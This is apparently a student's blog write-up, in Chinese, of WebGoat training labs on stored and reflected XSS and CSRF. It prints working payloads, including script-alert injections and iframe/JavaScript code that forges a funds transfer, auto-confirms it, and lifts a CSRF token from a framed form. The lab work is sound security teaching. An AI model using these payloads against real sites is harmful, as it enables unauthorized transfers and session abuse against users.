WebGoat實驗-XSS(跨站腳本攻擊)


信安實驗,安排在WebGoat上面的XSS實驗。簡單記錄一下實驗過程。

Stage 1: Stored XSS(存儲XSS攻擊)

實驗內容:主要是用戶“Tom”(攻擊者)在自己的個人資料中添加了惡意代碼(比如最簡單的<script>alert('121212');</script>),然後保存。在被攻擊者“Jerry”查看Tom的資料的時候,會執行Tom寫的惡意代碼。

步驟:

首先Tom登錄,在自己資料(ViewProfile)的任意地方添加代碼:<script>alert('121212');</script>,如圖1:


圖·1

如果實驗成功,在保存資料的時候,會彈出框,則證明成功,如圖2。但是不知道爲什麼我成功了卻不現實成功。


2

Stage 2、4、6,需要開發版的,我暫時沒裝,所以暫時不能做。

Stage 3:因爲Stage 2不能做,因此Stage 3其實做不做都一樣。步驟如Stage 1。

Stage 5: Reflected XSS

前面幾個,都是在個人資料中添加惡意代碼,然後別人在查看的時候,就可以執行惡意代碼。而在Stage 5中,是你在搜索的時候,本來應該輸入用戶名(例如Tom),但是現在你直接輸入一段代碼(例如<script>alert('123')</script>),點擊搜索就會彈出提示框。如圖3、4。


圖3


圖4

Stored XSS Attacks 

實驗內容:實驗中,用戶在輸入永久存儲的信息(message)的時候,如果輸入的是一些指令、代碼,在查看詳情的時候,就不是展示內容,而是執行指令、代碼。

步驟:輸入title:test3,輸入message時,輸入一堆代碼(例如:<script>alert('111')</script>):如圖:

圖5


圖6


Reflected XSS Attacks

實驗內容:在這次實驗中,我們在輸入框中輸入一些代碼,而瀏覽器又不會對用戶輸入做格式驗證,因此就會導致瀏覽器執行非法代碼,進而能完成一些不好的事情。

步驟:在Enter your three digit access code: 輸入代碼<script>alert('Bang!')</script>,點擊Purchase,會執行代碼。如下圖:

7


圖8

Cross Site Request Forgery (CSRF)

實驗內容:在被攻擊者打開一個網頁(攻擊者修改過)的時候,加載頁面的時候,會自動向後臺發請求。

步驟:按圖9輸入內容。解釋一下:<image>標籤在加載的時候,會自動請求src中的url,因此,可以修改url值,攜帶參數,達到攻擊的目的。


圖9

CSRF Prompt By-Pass

實驗內容:title輸入test,message輸入下面代碼:

<iframe
	src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000"
	id="myFrame" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"
	οnlοad="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM';">
</iframe>
<iframe
	id="frame2" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300">
</iframe>
解釋一下上面代碼:第一個iframe(id=myFrame),頁面在加載這個frame時,發請求:
http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=5000
,該請求完成了轉賬5000的請求。

而執行onload(加載ifram2)時,自動訪問網址:

http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
,代碼的作用就是顯示一個確認按鈕,來確認轉賬成功。

CSRF Token By-Pass

實驗內容:引誘用戶點擊某個網站時,偷得token,然後繼續發請求。

<iframe	src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=main"
	οnlοad="readFrame1();"
	id="frame1" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0"
	marginheight="0" width="800" scrolling=yes height="300"></iframe>

<script>
var tokensuffix;

function readFrame1()
{
    var frameDoc = document.getElementById("frame1").contentDocument;
    var form = frameDoc.getElementsByTagName("form")[0];
    tokensuffix = '&CSRFToken=' + form.CSRFToken.value;
    
    loadFrame2();
}

function loadFrame2()
{
    var testFrame = document.getElementById("frame2");
    testFrame.src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=5000" + tokensuffix;
}
</script>

頁面在加載第一個iframe時,會自動發送一個請求,然後在readFrame1()就可以獲取到後臺發送來的token。然後在loadFrame2()拼接鏈接,把token拼接進去,這樣就可以訪問一些需要token的頁面。

最後幾條寫的頭疼,簡單寫寫,比較潦草。有疑問留言吧。。sorry。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章